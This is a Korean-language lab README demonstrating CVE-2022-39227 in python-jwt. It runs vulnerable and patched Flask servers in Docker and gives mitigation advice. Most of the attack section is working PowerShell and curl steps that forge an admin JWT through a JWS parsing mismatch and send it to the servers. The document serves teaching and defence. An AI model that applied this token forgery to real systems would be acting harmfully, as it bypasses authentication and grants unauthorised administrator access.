
이 프로젝트는 통제된 로컬 랩 환경에서 CVE-2022-39227 취약점을 시연합니다. 이 취약점은 python-jwt 라이브러리(3.3.4 미만 버전)에 영향을 미치며, 공격자가 python-jwt와 해당 의존성인 jwcrypto 간의 파싱 불일치(JWS 직렬화)를 악용하여 비밀 키 없이 JWT 클레임을 위조할 수 있게 합니다.
이 프로젝트는 Docker를 사용하여 두 개의 동일한 Flask 애플리케이션을 실행하며, 의존성 버전만 다릅니다:
python-jwt==3.3.3)python-jwt==3.3.4)두 애플리케이션 모두 간단한 역할 기반 접근 제어(RBAC)를 구현합니다. 일반 사용자(alice)는 로그인하여 JWT를 받을 수 있습니다. JWT 클레임에 admin 역할이 있는 사용자만 /admin 엔드포인트에 접근할 수 있습니다.
1. 환경 시작 Docker Desktop이 실행 중인지 확인한 후 다음을 실행합니다:
docker-compose up -d --build
이 명령은 취약한 서버와 수정된 서버를 백그라운드에서 시작합니다.
공격을 재현하려면 PowerShell에서 원시 HTTP 요청과 페이로드 조작을 수동으로 실행합니다. 이는 취약점이 외부 도구가 아닌 프로토콜과 라이브러리의 파싱 로직에 있음을 보여줍니다.
1단계: 로그인하여 유효한 토큰 얻기
$response = Invoke-RestMethod -Uri "http://localhost:5000/login" -Method Post -Body '{"username":"alice","password":"alice123"}' -ContentType "application/json"
$token = $response.token
2단계: JWT를 구성 요소로 분할
$parts = $token.Split('.')
$header = $parts[0]
$payload = $parts[1]
$signature = $parts[2]
3단계: 페이로드 디코딩, 역할 수정, Base64Url로 재인코딩
# Decode original payload
$decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload.PadRight($payload.Length + (4 - $payload.Length % 4) % 4, '=').Replace('-', '+').Replace('_', '/')))
# Change role from "user" to "admin"
$modPayload = $decodedPayload -replace '"role":"user"','"role":"admin"'
# Encode modified payload back to Base64Url
$modPayloadB64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($modPayload)).TrimEnd('=').Replace('+', '-').Replace('/', '_')
4단계: 악성 JWS 직렬화 형식 구성
$forged_token = '{{"{0}.{1}":"","protected":"{0}","payload":"{2}","signature":"{3}"}}' `
-f $header, $modPayloadB64, $payload, $signature
$forged_token_escaped = $forged_token -replace '"', '\"'
5단계: 두 서버에 대해 공격 실행
# Attack Vulnerable Server (Port 5000) -> SUCCESS
curl.exe -s -X GET http://localhost:5000/admin -H "Authorization: Bearer $forged_token_escaped"
# Attack Fixed Server (Port 5001) -> BLOCKED (Invalid token format)
curl.exe -s -X GET http://localhost:5001/admin -H "Authorization: Bearer $forged_token_escaped"
python-jwt를 버전 3.3.4 이상으로 업그레이드하세요. 또한 애플리케이션은 가능할 때마다 엄격한 서명 검증을 적용하고 애플리케이션의 로직 계층을 통해 직접 페이로드 무결성을 검증해야 합니다.
이 프로젝트는 교육 목적으로 통제된 로컬 실험실 환경 내에서만 엄격하게 수행되었습니다. 제3자 시스템, 공개 서비스 또는 실제 사용자 계정은 대상으로 삼지 않았습니다.